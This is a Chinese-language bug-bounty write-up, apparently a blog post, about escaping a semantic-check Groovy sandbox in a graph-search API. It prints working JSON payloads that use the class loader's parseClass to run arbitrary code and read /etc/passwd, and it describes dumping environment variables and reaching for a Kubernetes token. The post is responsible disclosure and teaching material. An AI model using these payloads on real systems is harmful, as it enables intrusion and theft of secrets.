Groovy沙箱逃逸实战:从"1+1"到650美元漏洞挖掘

本文详细分析了Groovy沙箱的安全漏洞,通过类加载器和反射机制成功绕过语义检查,实现任意代码执行和文件读取,最终获得650美元漏洞奖励的完整技术过程。

当"1+1"变成650美元——Groovy沙箱逃逸实战

为什么写这篇文章?

我喜欢讲述那些有趣但不会造成世界末日的漏洞故事。这个漏洞感觉是一个很好的组合:推理过程直接明了,沙箱失效的方式很微妙,而且具有教育意义,因为它展示了当你忘记考虑类加载器和反射时,黑名单是多么脆弱。

突破口——“它的行为就像代码”

我正在测试应用程序中基于Gremlin的图搜索功能。像往常一样,我尝试了一些奇怪的输入。其中一个返回了Groovy解析错误——不是JSON验证消息或应用程序定义的错误,而是实际的Groovy解析器报错:Unexpected character: '.'。这立即告诉我服务器正在将我的查询参数解析为Groovy代码。

于是我尝试了一些简单愚蠢的东西:发送1+1作为查询。端点愉快地返回了2。这证实了:无论查询中包含什么,都会被Groovy解释器评估。

1
2
3
4
5
6
7
POST /api/graph-search
Host: redacted.com
Content-Type: application/json

{
  "query": "1+1"
}

从那里开始,就是经典的"什么被阻止,什么没有被阻止"的游戏。

探测沙箱

该应用程序有一个语义检查器——类似于SecureASTCustomizer——可以防止明显危险的调用。尝试System.getProperties()或直接Runtime调用会返回语义分析错误(沙箱明确禁止这些方法调用)。

这意味着作者知道动态评估是有风险的,并试图阻止直接的危险API使用。很好。但沙箱只能保护它们所保护的路径。

我开始考虑替代入口点。Groovy运行在JVM上。JVM有类加载器。Groovy有强大的运行时API,允许你通过类加载器动态编译代码。如果沙箱按名称阻止System和Runtime,但允许你获取类加载器并调用parseClass,你可以定义整个类体并从其中运行代码——有效地逃避基于名称的限制。

这正是我接下来测试的内容。

绕过方法

  1. 使用当前执行上下文的类加载器编译一个小的Groovy类(通过parseClass)
  2. 实例化该类并调用其方法
  3. 在该方法内部,执行沙箱之前阻止的任何操作(例如,读取文件、访问环境变量、执行更复杂的反射)

请求:

1
2
3
4
5
6
7
POST /api/graph-search
Host: redacted.com
Content-Type: application/json

{
  "query": "getClass().classLoader.parseClass('class X { def run() { return \"pwn\" } }').newInstance().run()"
}

响应:

1
2
3
4
5
{
  "result": [
    "pwn"
  ]
}

因为parseClass将代码编译成一个新的Class,实例在同一个JVM进程中执行,阻止直接System调用的语义检查器不会以相同方式介入已编译类的字节码——或者它没有捕获调用链。

我通过编译一个返回字符串的小类验证了这一点,然后继续读取/etc/passwd和环境变量。

带有精心构造的JSON主体的POST /api/graph-search请求,包含使用当前类加载器解析新类的Groovy代码片段,允许我调用读取文件的方法。端点响应了文件内容。

简而言之:

通过以下方式编译类:

1
2
3
{
  "query": "getClass().classLoader.parseClass('class PWN { def go() { return new File(\\\"/etc/passwd\\\").text } }').newInstance().go()"
}

实例化它:.newInstance() 调用读取文件/环境变量的方法:.run() / .go()

JSON响应包含返回的数据:

1
2
3
{
  "result": ["root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:.. "]
}

这证明了:

  • 进程内任意代码执行(定义和运行类)
  • 数据泄漏(本地文件和环境变量)
  • 沙箱不完整

我还尝试通过编译类内部的.execute()执行shell命令。这条路径在这个目标上不可靠——它返回null/被阻止——可能是因为运行时受到容器控制的进一步限制。这种限制,加上每个客户的沙箱和网络出口控制,减少了真实世界的影响范围。

我能够读取的内容

  • /etc/passwd——确认文件读取有效
  • System.getenv()——枚举环境变量,在这个环境中包括Kubernetes注入的值和进程可见的应用程序秘密

我尝试读取/var/run/secrets/kubernetes.io/serviceaccount/token的服务账户令牌来测试Kubernetes渗透潜力;容器有挂载的令牌,但网络限制限制了进一步的利用尝试。

报告、供应商互动和结果

我通过HackerOne向项目报告了这个问题,提供了清晰的复现路径和影响解释。供应商反应迅速,要求我继续测试,并确认环境是网络受限的且每个客户都有沙箱。这个背景很重要:虽然漏洞允许进程内有限的代码执行,但这些环境控制减少了跨租户的影响。

最终奖励:650美元。快乐的日子。

沙箱失败的原因

供应商使用了语义AST检查,阻止了危险的名称和直接方法调用(例如,System、Runtime),这是一个良好的第一步。

然而,Groovy和JVM暴露了替代入口点——类加载器和反射——这允许我动态创建和执行代码,而基于名称的检查不一定能防范这些。

黑名单是脆弱的。攻击者会将允许的API链接起来以达到被禁止的功能。在运行在强大运行时之上的动态语言中,攻击面很广。

结束语

这是一个整洁的小发现——由于隔离和仅管理员访问,不是核弹级漏洞,但是一个很好的例子,说明像类加载器这样的运行时特性如何破坏天真应用的语义检查。我赞赏供应商的响应能力以及分类/重新测试的方式——全方位的良好合作。

狩猎愉快,保持安全

再见 ;)

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计